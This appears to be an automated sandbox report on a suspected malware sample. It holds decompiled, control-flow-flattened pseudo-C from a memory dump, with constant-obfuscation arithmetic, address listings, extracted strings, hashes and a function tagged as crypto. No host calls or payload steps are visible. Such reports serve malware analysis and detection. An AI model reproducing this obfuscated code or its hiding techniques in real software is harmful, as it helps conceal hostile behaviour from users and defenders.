							__eflags = _t1353 - 0x4ea5811;
							if(__eflags != 0) {
								goto L109;
							}
							_t1167 = E00DB0BF1(__eflags);
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0x15a9200;
							continue;
						}
						if(_t1390 == 0) {
							_t1167 = E00DB27E2();
							_v44 = _t1167;
							_t1353 = 0x743bbd3;
							continue;
						}
						if(_t1353 == 0x15a9200) {
							_t1167 = E00D9F022();
							_t1353 = 0xf17c585;
							continue;
						}
						if(_t1353 == 0x24c641b) {
							_v116 = E00DA8518(_v316, _v404, __eflags,  &_v112, _v568, 0xd91000);
							_v124 = E00DA8518(_v268, _v496, __eflags,  &_v120, _v188, 0xd91060);
							_t1197 = E00D95DC3(_v396,  &_v116, _v560,  &_v124);
							asm("sbb esi, esi");
							_t1353 = ( ~_t1197 & 0x01f8303b) + 0xda639e1;
							E00DA2EED(_v128, _v552, _v432, _v124);
							_t1167 = E00DA2EED(_v488, _v388, _v340, _v116);
							_t1383 = _t1383 + 0x30;
							goto L109;
						}
						if(_t1353 == 0x2a3942a) {
							_t1167 = E00DA4DC5(_v276, _v464, _v348, E00DAD4AE(),  &_v108,  &_v100, _v576);
							_t1383 = _t1383 + 0x14;
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0x000968d2) + 0x2a3942a;
							continue;
						}
						if(_t1353 != 0x2acfcfc) {
							goto L109;
						}
						_t1204 = E00D9597D( &_v40, _v260,  &_v100, _v416);
						_pop(_t1278);
						if(_t1204 != 0) {
							_t1167 = _v8;
							__eflags = _t1167 - 8;
							if(__eflags != 0) {
								__eflags = _t1167;
								if(__eflags == 0) {
									L18:
									_t1353 = 0xabc2d6d;
									continue;
								}
								__eflags = _t1167 - 1;
								if(__eflags != 0) {
									L13:
									_t1353 = 0x94a2b75;
									continue;
								}
								goto L18;
							}
							_t1353 = 0x8d7d650;
							continue;
						}
						_push(_t1278);
						_push(_v584);
						_push(_t1278);
						_t1278 = _v412;
						_t1167 = E00DA2CCF(_t1278, _t1278);
						_t1383 = _t1383 + 0x10;
						_t1350 = _t1167;
						_t1240 = 0xe75263b;
						goto L13;
					}
					__eflags = _t1353 - 0xc68510e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xf17c585;
						if(__eflags > 0) {
							__eflags = _t1353 - 0xf2d358e;
							if(_t1353 == 0xf2d358e) {
								_t1157 = E00DA902C();
								__eflags = _t1157;
								if(_t1157 == 0) {
									_t1167 = E00D93E3B();
								}
								_t1353 = 0x94a2b75;
								goto L109;
							}
							__eflags = _t1353 - 0xf885e3b;
							if(__eflags == 0) {
								_v92 = E00D97A75();
								_t1353 = 0x4c34997;
								goto L1;
							}
							__eflags = _t1353 - 0xf9e6a1c;
							if(_t1353 != 0xf9e6a1c) {
								goto L109;
							}
							E00D960BA();
							_t1240 = 0xc2716a1;
							_push(_t1278);
							_push(_v312);
							_push(_t1278);
							_t1278 = _v184;
							_t1167 = E00DA2CCF(_t1278, _t1278);
							_t1383 = _t1383 + 0x10;
							_t1350 = _t1167;
							L95:
							_t1353 = 0x414ffd1;
							goto L1;
						}
						if(__eflags == 0) {
							_t1167 = E00D98112();
							__eflags = _t1167;
							if(__eflags == 0) {
								goto L114;
							}
							_t1353 = 0xa4cd57e;
							goto L1;
						}
						__eflags = _t1353 - 0xce7cb5b;
						if(_t1353 == 0xce7cb5b) {
							E00DA89DA();
							_t1167 = E00DA902C();
							asm("sbb esi, esi");
							_t1353 = ( ~_t1167 & 0xf901379b) + 0xbc300ba;
							goto L1;
						}
						__eflags = _t1353 - 0xd96f0c7;
						if(_t1353 == 0xd96f0c7) {
							_t1167 = E00DAAEAE();
							_t1353 = 0x50ec05a;
							goto L1;
						}
						__eflags = _t1353 - 0xe75263b;
						if(_t1353 == 0xe75263b) {
							_t1167 = E00DA75E9(_v344, _v484,  &_v52);
							_pop(_t1278);
							_t1353 = 0x9625c26;
							goto L1;
						}
						__eflags = _t1353 - 0xf16eb84;
						if(_t1353 != 0xf16eb84) {
							goto L109;
						}
						_t1278 = _v224;
						_t1167 = E00D9F699(_t1278, _v108, _v232, _v492, _v352);
						_t1383 = _t1383 + 0xc;
						goto L95;
					}
					if(__eflags == 0) {
						_t1167 = E00DAC145();
						_t1353 = 0xb042b16;
						goto L1;
					}
					__eflags = _t1353 - 0xbae568e;
					if(__eflags > 0) {
						__eflags = _t1353 - 0xbc300ba;
						if(_t1353 == 0xbc300ba) {
							_t1167 = E00DACE94();
							_t1353 = 0x5085634;
							goto L1;
						}
						__eflags = _t1353 - 0xc2716a1;
						if(_t1353 == 0xc2716a1) {
							_v68 = E00DA5B73();
							_t1167 = E00DA4268(_v248, _v256, _t1216);
							_pop(_t1278);
							_v64 = _t1167;
							_t1353 = 0xf885e3b;
							goto L1;
						}
						__eflags = _t1353 - 0xc313b49;
						if(__eflags == 0) {
							_t1167 = _v508;
							_t1353 = 0xe75263b;
							_v88 = _t1167;
							goto L1;
						}
						__eflags = _t1353 - 0xc58f524;
						if(_t1353 != 0xc58f524) {
							goto L109;
						}
						_t1167 = E00D98D59();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0xce7cb5b;
						goto L1;
					}
					if(__eflags == 0) {
						_t1167 = E00D9196D();
						asm("sbb esi, esi");
						_t1353 = ( ~_t1167 & 0x032aa9ea) + 0x7d9812c;
						goto L1;
					}
					__eflags = _t1353 - 0xa4cd57e;
					if(_t1353 == 0xa4cd57e) {
						_t1167 = E00D960BA();
						__eflags = _t1167;
						if(__eflags == 0) {
							goto L114;
						}
						_t1353 = 0x6e9da8a;
						goto L1;
					}
					__eflags = _t1353 - 0xaa07b46;
					if(__eflags == 0) {
						_t1353 = 0x4ea5811;
						goto L1;
					}
					__eflags = _t1353 - 0xabc2d6d;
					if(_t1353 == 0xabc2d6d) {
						_t1167 = E00D939C3(_v136,  &_v32);
						_pop(_t1278);
						__eflags = _t1167;
						if(__eflags == 0) {
							_t1167 = _v8;
							__eflags = _t1167;
							if(_t1167 == 0) {
								_push(_t1278);
								_push(_v556);
								_push(_t1278);
								_t1278 = _v548;
								_t1350 = E00DA2CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1167 = _v8;
							}
							__eflags = _t1167 - 1;
							if(__eflags == 0) {
								_push(_t1278);
								_push(_v400);
								_push(_t1278);
								_t1278 = _v392;
								_t1167 = E00DA2CCF(_t1278, _t1278);
								_t1383 = _t1383 + 0x10;
								_t1350 = _t1167;
							}
						} else {
							_t1350 = _v196;
						}
						_t1240 = 0xe75263b;
						_t1353 = 0xf2d358e;
						goto L1;
					}
					__eflags = _t1353 - 0xb042b16;
					if(_t1353 != 0xb042b16) {
						goto L109;
					}
					_t1167 = E00DABA18();
					_t1353 = 0xc58f524;
					goto L1;
					L109:
					__eflags = _t1353 - 0xda639e1;
				} while (__eflags != 0);
				goto L114;
			}

0x00da91fd
0x00da9207
0x00da9214
0x00da921f
0x00da922a
0x00da9235
0x00da9240
0x00da924b
0x00da9256
0x00da925d
0x00da9268
0x00da9270
0x00da9278
0x00da9280
0x00da9288
0x00da9290
0x00da929b
0x00da92a6
0x00da92b1
0x00da92bc
0x00da92c7
0x00da92d2
0x00da92dd
0x00da92e8
0x00da92f3
0x00da92fe
0x00da9309
0x00da9311
0x00da931c
0x00da932f
0x00da9336
0x00da9344
0x00da9349
0x00da9352
0x00da935d
0x00da9369
0x00da936c
0x00da9370
0x00da9378
0x00da937d
0x00da9385
0x00da938d
0x00da9392
0x00da939a
0x00da93a2
0x00da93aa
0x00da93b5
0x00da93c8
0x00da93cf
0x00da93da
0x00da93e5
0x00da93ed
0x00da93f8
0x00da9400
0x00da9405
0x00da940d
0x00da9415
0x00da941d
0x00da9425
0x00da942a
0x00da9437
0x00da943b
0x00da9443
0x00da944e
0x00da9459
0x00da9464
0x00da946f
0x00da9486
0x00da9489
0x00da9490
0x00da949b
0x00da94a6
0x00da94b9
0x00da94c0
0x00da94cb
0x00da94d6
0x00da94de
0x00da94e6
0x00da94f1
0x00da94fc
0x00da9507
0x00da950f
0x00da951a
0x00da9530
0x00da9537
0x00da9542
0x00da9557
0x00da955a
0x00da9566
0x00da956a
0x00da9572
0x00da957d
0x00da9585
0x00da958c
0x00da9597
0x00da95aa
0x00da95ab
0x00da95b2
0x00da95bd
0x00da95c8
0x00da95d3
0x00da95db
0x00da95e6
0x00da95f1
0x00da95fc
0x00da9604
0x00da960f
0x00da961a
0x00da9625
0x00da9630
0x00da963b
0x00da9646
0x00da9654
0x00da9658
0x00da9660
0x00da9665
0x00da966d
0x00da9680
0x00da9687
0x00da9692
0x00da969d
0x00da96b0
0x00da96b7
0x00da96c2
0x00da96cd
0x00da96d8
0x00da96e3
0x00da96f0
0x00da96fb
0x00da9706
0x00da9711
0x00da971c
0x00da9730
0x00da9735
0x00da973e
0x00da9749
0x00da9754
0x00da975f
0x00da976a
0x00da9775
0x00da9780
0x00da9788
0x00da9793
0x00da979b
0x00da97a6
0x00da97ae
0x00da97bb
0x00da97be
0x00da97ca
0x00da97ce
0x00da97d6
0x00da97e1
0x00da97ec
0x00da97f7
0x00da9802
0x00da980d
0x00da981f
0x00da9824
0x00da9834
0x00da9839
0x00da9842
0x00da984d
0x00da9858
0x00da9863
0x00da986b
0x00da9876
0x00da987e
0x00da9883
0x00da9884
0x00da9888
0x00da9890
0x00da9898
0x00da98a0
0x00da98b4
0x00da98bb
0x00da98c6
0x00da98ce
0x00da98d6
0x00da98db
0x00da98e3
0x00da98eb
0x00da98f6
0x00da9901
0x00da990e
0x00da9922
0x00da9927
0x00da992e
0x00da9939
0x00da9944
0x00da994c
0x00da9954
0x00da995c
0x00da9961
0x00da9969
0x00da9974
0x00da997c
0x00da9987
0x00da9997
0x00da999d
0x00da99a5
0x00da99ad
0x00da99b5
0x00da99c0
0x00da99cb
0x00da99d6
0x00da99de
0x00da99e9
0x00da99f4
0x00da9a07
0x00da9a0a
0x00da9a11
0x00da9a1c
0x00da9a27
0x00da9a3a
0x00da9a41
0x00da9a49
0x00da9a54
0x00da9a5f
0x00da9a72
0x00da9a79
0x00da9a84
0x00da9a9a
0x00da9aa1
0x00da9aac
0x00da9ab7
0x00da9ac2
0x00da9acd
0x00da9ad8
0x00da9ae3
0x00da9aee
0x00da9af9
0x00da9b04
0x00da9b0f
0x00da9b1a
0x00da9b2c
0x00da9b2f
0x00da9b36
0x00da9b41
0x00da9b4c
0x00da9b54
0x00da9b5f
0x00da9b6a
0x00da9b75
0x00da9b80
0x00da9b8b
0x00da9b96
0x00da9ba1
0x00da9bac
0x00da9bb7
0x00da9bc2
0x00da9bcf
0x00da9bda
0x00da9be2
0x00da9bed
0x00da9bf8
0x00da9c03
0x00da9c0e
0x00da9c19
0x00da9c24
0x00da9c2f
0x00da9c37
0x00da9c3f
0x00da9c4a
0x00da9c5e
0x00da9c63
0x00da9c6c
0x00da9c77
0x00da9c82
0x00da9c8a
0x00da9c95
0x00da9ca0
0x00da9cab
0x00da9cb6
0x00da9cbe
0x00da9cc6
0x00da9cd1
0x00da9cd9
0x00da9ce1
0x00da9ce6
0x00da9cee
0x00da9cf6
0x00da9d01
0x00da9d0c
0x00da9d17
0x00da9d22
0x00da9d2d
0x00da9d38
0x00da9d43
0x00da9d4e
0x00da9d56
0x00da9d61
0x00da9d6c
0x00da9d74
0x00da9d7c
0x00da9d84
0x00da9d8c
0x00da9d94
0x00da9d9f
0x00da9daa
0x00da9db5
0x00da9dc0
0x00da9dc8
0x00da9dd3
0x00da9dde
0x00da9de9
0x00da9df1
0x00da9df6
0x00da9dfe
0x00da9e03
0x00da9e0b
0x00da9e1d
0x00da9e20
0x00da9e27
0x00da9e32
0x00da9e3d
0x00da9e45
0x00da9e50
0x00da9e5b
0x00da9e66
0x00da9e71
0x00da9e7c
0x00da9e87
0x00da9e92
0x00da9ea8
0x00da9ead
0x00da9eb6
0x00da9ec1
0x00da9ec9
0x00da9ed1
0x00da9ed9
0x00da9ee1
0x00da9ee9
0x00da9ef4
0x00da9efc
0x00da9f07
0x00da9f12
0x00da9f1d
0x00da9f28
0x00da9f33
0x00da9f3e
0x00da9f49
0x00da9f54
0x00da9f61
0x00da9f64
0x00da9f68
0x00da9f75
0x00da9f79
0x00da9f81
0x00da9f8c
0x00da9f97
0x00da9fa2
0x00da9fb2
0x00da9fb6
0x00da9fc2
0x00da9fc5
0x00da9fc9
0x00da9fd1
0x00da9fd9
0x00da9fe6
0x00da9fea
0x00da9ff2
0x00da9ffd
0x00daa008
0x00daa010
0x00daa01b
0x00daa023
0x00daa028
0x00daa02d
0x00daa035
0x00daa03d
0x00daa045
0x00daa04d
0x00daa055
0x00daa05d
0x00daa065
0x00daa070
0x00daa07b
0x00daa086
0x00daa091
0x00daa099
0x00daa0a4
0x00daa0af
0x00daa0c2
0x00daa0c9
0x00daa0d1
0x00daa0dc
0x00daa0f2
0x00daa0f7
0x00daa100
0x00daa10b
0x00daa116
0x00daa121
0x00daa12c
0x00daa137
0x00daa142
0x00daa14d
0x00daa158
0x00daa163
0x00daa16e
0x00daa179
0x00daa184
0x00daa18f
0x00daa1a2
0x00daa1a5
0x00daa1ac
0x00daa1b7
0x00daa1c2
0x00daa1cd
0x00daa1d8
0x00daa1e0
0x00daa1ed
0x00daa1f1
0x00daa1f9
0x00daa201
0x00daa20c
0x00daa217
0x00daa21f
0x00daa22a
0x00daa232
0x00daa23a
0x00daa242
0x00daa246
0x00daa24e
0x00daa259
0x00daa264
0x00daa26f
0x00daa27a
0x00daa285
0x00daa290
0x00daa298
0x00daa2a3
0x00daa2b9
0x00daa2c0
0x00daa2cb
0x00daa2d6
0x00daa2e1
0x00daa2e8
0x00daa2f3
0x00daa305
0x00daa308
0x00daa30f
0x00daa31a
0x00daa325
0x00daa330
0x00daa33b
0x00daa346
0x00daa351
0x00daa359
0x00daa360
0x00daa36b
0x00daa376
0x00daa383
0x00daa397
0x00daa39c
0x00daa3a5
0x00daa3b5
0x00daa3bd
0x00daa3c5
0x00daa3cd
0x00daa3d5
0x00daa3dd
0x00daa3e8
0x00daa3f8
0x00daa3fb
0x00daa402
0x00daa409
0x00daa410
0x00daa41b
0x00daa426
0x00daa431
0x00daa43c
0x00daa447
0x00daa452
0x00daa45d
0x00daa468
0x00daa470
0x00daa47a
0x00daa47e
0x00daa486
0x00daa48e
0x00daa496
0x00daa49a
0x00daa4a2
0x00daa4a7
0x00daa4af
0x00daa4ba
0x00daa4c5
0x00daa4d0
0x00daa4db
0x00daa4e3
0x00daa4e7
0x00daa4ef
0x00daa4f7
0x00daa4ff
0x00daa515
0x00daa51c
0x00daa527
0x00daa532
0x00daa53d
0x00daa54f
0x00daa552
0x00daa559
0x00daa559
0x00daa564
0x00daa564
0x00daa564
0x00daa564
0x00daa56a
0x00000000
0x00000000
0x00daa570
0x00daaa28
0x00daaa2d
0x00daaa34
0x00daaa3c
0x00000000
0x00daaa3c
0x00daa576
0x00daa57c
0x00daa896
0x00daa89c
0x00daa936
0x00daa93c
0x00daa9bf
0x00daa9c1
0x00daa9e4
0x00daa9ed
0x00daa9f5
0x00000000
0x00daa9f5
0x00daa9ca
0x00daa9d3
0x00daa9d5
0x00daa9ab
0x00daa9ab
0x00000000
0x00daa9ab
0x00daa93e
0x00daa944
0x00daa99a
0x00daa9a3
0x00daa9a5
0x00daa9a5
0x00000000
0x00daa9a5
0x00daa946
0x00daa94c
0x00daae59
0x00daae5e
0x00daae65
0x00daae65
0x00daa952
0x00daa958
0x00000000
0x00000000
0x00daa97a
0x00daa981
0x00daa986
0x00daa989
0x00000000
0x00daa989
0x00daa8a2
0x00daa91e
0x00daa925
0x00daa92a
0x00000000
0x00daa92a
0x00daa8a4
0x00daa8aa
0x00daa90f
0x00daa914
0x00000000
0x00daa914
0x00daa8ac
0x00daa8b2
0x00daae4b
0x00000000
0x00daae4b
0x00daa8b8
0x00daa8be
0x00daa8f5
0x00daa8fa
0x00000000
0x00daa8fa
0x00daa8c0
0x00daa8c6
0x00000000
0x00000000
0x00daa8d7
0x00daa8dc
0x00daa8de
0x00000000
0x00000000
0x00daa8e4
0x00000000
0x00daa8e4
0x00daa582
0x00daae3a
0x00000000
0x00daae3f
0x00daa588
0x00daa58e
0x00daa7b8
0x00daa7be
0x00daa838
0x00daa83f
0x00daa88f
0x00daa88f
0x00000000
0x00daa88f
0x00daa868
0x00daa86d
0x00daa870
0x00daa877
0x00daa88a
0x00000000
0x00daa88a
0x00daa879
0x00000000
0x00daa879
0x00daa7c0
0x00daa7c6
0x00daa822
0x00daa827
0x00daa82e
0x00000000
0x00daa82e
0x00daa7c8
0x00daa7ce
0x00daa805
0x00daa80a
0x00000000
0x00daa80a
0x00daa7d0
0x00daa7d6
0x00000000
0x00000000
0x00daa7e7
0x00daa7ec
0x00daa7ee
0x00000000
0x00000000
0x00daa7f4
0x00000000
0x00daa7f4
0x00daa594
0x00daa7a2
0x00daa7a7
0x00daa7ae
0x00000000
0x00daa7ae
0x00daa5a0
0x00daa78c
0x00daa791
0x00000000
0x00daa791
0x00daa5ac
0x00daa6d1
0x00daa6ff
0x00daa720
0x00daa742
0x00daa74a
0x00daa750
0x00daa771
0x00daa776
0x00000000
0x00daa776
0x00daa5b8
0x00daa68b
0x00daa690
0x00daa697
0x00daa69f
0x00000000
0x00daa69f
0x00daa5c4
0x00000000
0x00000000
0x00daa5e7
0x00daa5ed
0x00daa5f0
0x00daa62f
0x00daa636
0x00daa639
0x00daa645
0x00daa647
0x00daa64e
0x00daa64e
0x00000000
0x00daa64e
0x00daa649
0x00daa64c
0x00daa625
0x00daa625
0x00000000
0x00daa625
0x00000000
0x00daa64c
0x00daa63b
0x00000000
0x00daa63b
0x00daa60b
0x00daa60c
0x00daa610
0x00daa612
0x00daa619
0x00daa61e
0x00daa621
0x00daa623
0x00000000
0x00daa623
0x00daaa47
0x00daaa4d
0x00daac6a
0x00daac70
0x00daad69
0x00daad6f
0x00daadf6
0x00daadfb
0x00daadfd
0x00daae06
0x00daae06
0x00daae0b
0x00000000
0x00daae0b
0x00daad71
0x00daad77
0x00daadde
0x00daade5
0x00000000
0x00daade5
0x00daad79
0x00daad7f
0x00000000
0x00000000
0x00daad8c
0x00daad98
0x00daadb2
0x00daadb3
0x00daadba
0x00daadbc
0x00daadc3
0x00daadc8
0x00daadcb
0x00daacc8
0x00daacc8
0x00000000
0x00daacc8
0x00daac76
0x00daad52
0x00daad57
0x00daad59
0x00000000
0x00000000
0x00daad5f
0x00000000
0x00daad5f
0x00daac7c
0x00daac82
0x00daad1c
0x00daad28
0x00daad31
0x00daad39
0x00000000
0x00daad39
0x00daac88
0x00daac8e
0x00daad06
0x00daad0b
0x00000000
0x00daad0b
0x00daac90
0x00daac92
0x00daace8
0x00daaced
0x00daacee
0x00000000
0x00daacee
0x00daac94
0x00daac9a
0x00000000
0x00000000
0x00daacb9
0x00daacc0
0x00daacc5
0x00000000
0x00daacc5
0x00daaa53
0x00daac5b
0x00daac60
0x00000000
0x00daac60
0x00daaa59
0x00daaa5f
0x00daab9b
0x00daaba1
0x00daac3e
0x00daac43
0x00000000
0x00daac43
0x00daaba7
0x00daabad
0x00daac15
0x00daac1c
0x00daac21
0x00daac22
0x00daac29
0x00000000
0x00daac29
0x00daabaf
0x00daabb5
0x00daabe8
0x00daabec
0x00daabee
0x00000000
0x00daabee
0x00daabb7
0x00daabbd
0x00000000
0x00000000
0x00daabd1
0x00daabd6
0x00daabd8
0x00000000
0x00000000
0x00daabde
0x00000000
0x00daabde
0x00daaa65
0x00daab7f
0x00daab88
0x00daab90
0x00000000
0x00daab90
0x00daaa6b
0x00daaa71
0x00daab5d
0x00daab62
0x00daab64
0x00000000
0x00000000
0x00daab6a
0x00000000
0x00daab6a
0x00daaa77
0x00daaa7d
0x00daab4f
0x00000000
0x00daab4f
0x00daaa83
0x00daaa89
0x00daaac0
0x00daaac5
0x00daaac6
0x00daaac8
0x00daaad3
0x00daaada
0x00daaadc
0x00daaaf1
0x00daaaf2
0x00daaaf6
0x00daaaf8
0x00daab01
0x00daab03
0x00daab06
0x00daab06
0x00daab0d
0x00daab10
0x00daab28
0x00daab29
0x00daab30
0x00daab32
0x00daab39
0x00daab3e
0x00daab41
0x00daab41
0x00daaaca
0x00daaaca
0x00daaaca
0x00daab43
0x00daab45
0x00000000
0x00daab45
0x00daaa8b
0x00daaa91
0x00000000
0x00000000
0x00daaa9b
0x00daaaa0
0x00000000
0x00daae10
0x00daae10
0x00daae10
0x00000000

Strings

fM6, xrefs: 00DA9E32
;, xrefs: 00DA9F68
*p, xrefs: 00DA9658
&\b, xrefs: 00DAA564
~c, xrefs: 00DA97D6
[, xrefs: 00DA9BC2
CK, xrefs: 00DA987E
qM0, xrefs: 00DAA4BA
~/, xrefs: 00DA95DB
,H<, xrefs: 00DAA351
ll, xrefs: 00DA9788
u+J, xrefs: 00DAA952
&\b, xrefs: 00DAACEE
l?U, xrefs: 00DA98EB
oC., xrefs: 00DA9207
]p, xrefs: 00DA940D
jo, xrefs: 00DA9F8C
u+J, xrefs: 00DAA625
8YNn, xrefs: 00DA9235
td, xrefs: 00DA9DF6
u+J, xrefs: 00DAAE0B
&]^, xrefs: 00DAA24E
Ao, xrefs: 00DAA2C0
q, xrefs: 00DA9268
@0, xrefs: 00DA939A

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: qM0$&\b$&\b$&]^$*p$,H<$8YNn$@0$Ao$CK$]p$fM6$jo$l?U$ll$oC.$td$u+J$u+J$u+J$~/$;$~c$[$q
API String ID: 0-640385374
Opcode ID: 49d447ce60a1ff68a5833120cbed6cdbca4681d5f746bfd728182e312b5ae04f
Instruction ID: 0791e43b855ed19134eb924460cf47b733a1e19547373db5b6d4dddce26ffe37
Opcode Fuzzy Hash: 49d447ce60a1ff68a5833120cbed6cdbca4681d5f746bfd728182e312b5ae04f
Instruction Fuzzy Hash: 06D223719083818BD3B8CF28C58A7DBBBE1BB85314F148A1DE5DD96260DBB48949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DAF561, Relevance: 21.9, Strings: 17, Instructions: 663
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00DAF561(intOrPtr __ecx) {
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				char _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				unsigned int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				void* _t761;
				void* _t763;
				void* _t772;
				void* _t780;
				intOrPtr _t792;
				void* _t795;
				signed int _t797;
				void* _t808;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				void* _t829;
				void* _t832;
				void* _t889;
				void* _t913;
				void* _t916;
				intOrPtr _t917;
				void* _t921;
				signed int* _t923;
				void* _t925;

				_t923 =  &_v392;
				_v200 = 0x89ca81;
				_v200 = _v200 * 0x5d;
				_t921 = 0;
				_v200 = _v200 ^ 0xaf9dd6ae;
				_t808 = 0xf774147;
				_v200 = _v200 ^ 0xd0d10238;
				_v340 = 0x7031b3;
				_v340 = _v340 << 9;
				_v340 = _v340 + 0xdab9;
				_v76 = __ecx;
				_t814 = 0x5e;
				_v340 = _v340 / _t814;
				_v340 = _v340 ^ 0x02631bed;
				_v344 = 0x913049;
				_v344 = _v344 >> 6;
				_v344 = _v344 + 0xffffeb40;
				_v344 = _v344 >> 9;
				_v344 = _v344 ^ 0x00000118;
				_v208 = 0xd820b3;
				_t815 = 0x11;
				_v208 = _v208 * 0x75;
				_v208 = _v208 / _t815;
				_v208 = _v208 ^ 0x05cf77a2;
				_v264 = 0x2d7b5a;
				_v264 = _v264 >> 3;
				_t816 = 0x60;
				_v264 = _v264 / _t816;
				_v264 = _v264 ^ 0x00000f29;
				_v228 = 0x9ea28;
				_v228 = _v228 >> 4;
				_v228 = _v228 << 3;
				_v228 = _v228 ^ 0x0004f510;
				_v212 = 0xfc5601;
				_t817 = 0x65;
				_v212 = _v212 * 0x23;
				_v212 = _v212 ^ 0x83bd7763;
				_v212 = _v212 ^ 0xa1c2b540;
				_v216 = 0xc9f780;
				_v216 = _v216 >> 0xd;
				_v216 = _v216 << 0xa;
				_v216 = _v216 ^ 0x00193c00;
				_v100 = 0xa15ef3;
				_v100 = _v100 + 0xcfb3;
				_v100 = _v100 ^ 0x00a22ea6;
				_v128 = 0x732cc;
				_v128 = _v128 ^ 0x331cc4bd;
				_v128 = _v128 ^ 0x331bf671;
				_v260 = 0x567154;
				_v260 = _v260 + 0x98f2;
				_v260 = _v260 | 0x07205bc1;
				_v260 = _v260 ^ 0x07775bc7;
				_v296 = 0xb824e0;
				_v296 = _v296 ^ 0x4344e171;
				_v296 = _v296 << 5;
				_v296 = _v296 << 9;
				_v296 = _v296 ^ 0x31644000;
				_v392 = 0xb375bd;
				_v392 = _v392 / _t817;
				_v392 = _v392 + 0x740b;
				_v392 = _v392 ^ 0x46953f20;
				_v392 = _v392 ^ 0x469705e9;
				_v380 = 0x6f0fc1;
				_v380 = _v380 + 0x682a;
				_v380 = _v380 << 0x10;
				_t818 = 0x35;
				_v380 = _v380 / _t818;
				_v380 = _v380 ^ 0x02448a90;
				_v232 = 0xb7f463;
				_v232 = _v232 >> 2;
				_t819 = 0x16;
				_v232 = _v232 / _t819;
				_v232 = _v232 ^ 0x000b0aa6;
				_v184 = 0x1e2afb;
				_v184 = _v184 << 1;
				_v184 = _v184 ^ 0x0039344d;
				_v272 = 0xd60a24;
				_v272 = _v272 >> 0x10;
				_v272 = _v272 << 8;
				_v272 = _v272 ^ 0x0007d834;
				_v88 = 0xccda6;
				_v88 = _v88 | 0xd009f965;
				_v88 = _v88 ^ 0xd00eb16a;
				_v160 = 0x116f8;
				_v160 = _v160 << 1;
				_v160 = _v160 ^ 0x00010446;
				_v332 = 0xe14840;
				_v332 = _v332 + 0xe9af;
				_v332 = _v332 << 5;
				_t820 = 0x52;
				_v332 = _v332 * 5;
				_v332 = _v332 ^ 0x8d5f04ba;
				_v112 = 0x9b5594;
				_v112 = _v112 + 0x8c2;
				_v112 = _v112 ^ 0x009353c4;
				_v152 = 0xaad272;
				_v152 = _v152 + 0xa340;
				_v152 = _v152 ^ 0x00a74a81;
				_v224 = 0xfde353;
				_v224 = _v224 >> 0xd;
				_v224 = _v224 * 0x71;
				_v224 = _v224 ^ 0x0000f406;
				_v372 = 0x10fd3f;
				_v372 = _v372 / _t820;
				_v372 = _v372 * 0x26;
				_v372 = _v372 ^ 0x900c513e;
				_v372 = _v372 ^ 0x9009d373;
				_v192 = 0x9bc28f;
				_v192 = _v192 ^ 0x8daa98a9;
				_v192 = _v192 >> 2;
				_v192 = _v192 ^ 0x234acdcf;
				_v256 = 0x6a542c;
				_v256 = _v256 << 6;
				_v256 = _v256 + 0xcf70;
				_v256 = _v256 ^ 0x1a90167c;
				_v308 = 0xb0ac3a;
				_v308 = _v308 + 0xffff0ba4;
				_v308 = _v308 >> 7;
				_v308 = _v308 ^ 0x7a292cfc;
				_v308 = _v308 ^ 0x7a298d34;
				_v352 = 0x7fa15;
				_v352 = _v352 << 8;
				_v352 = _v352 + 0x42c8;
				_v352 = _v352 ^ 0x420546d7;
				_v352 = _v352 ^ 0x45f279ac;
				_v172 = 0x3c10dc;
				_v172 = _v172 + 0x934c;
				_v172 = _v172 ^ 0x003c5902;
				_v252 = 0x8e9148;
				_t821 = 0x3d;
				_v252 = _v252 * 0x15;
				_v252 = _v252 >> 8;
				_v252 = _v252 ^ 0x0000fb60;
				_v164 = 0x57b7bf;
				_v164 = _v164 * 0x65;
				_v164 = _v164 ^ 0x2299a995;
				_v336 = 0xdc0eaf;
				_v336 = _v336 << 3;
				_v336 = _v336 + 0xdead;
				_v336 = _v336 + 0x5890;
				_v336 = _v336 ^ 0x06efbc16;
				_v148 = 0x5f891c;
				_v148 = _v148 + 0xe952;
				_v148 = _v148 ^ 0x00699f2d;
				_v156 = 0xb9bdf1;
				_v156 = _v156 * 0x30;
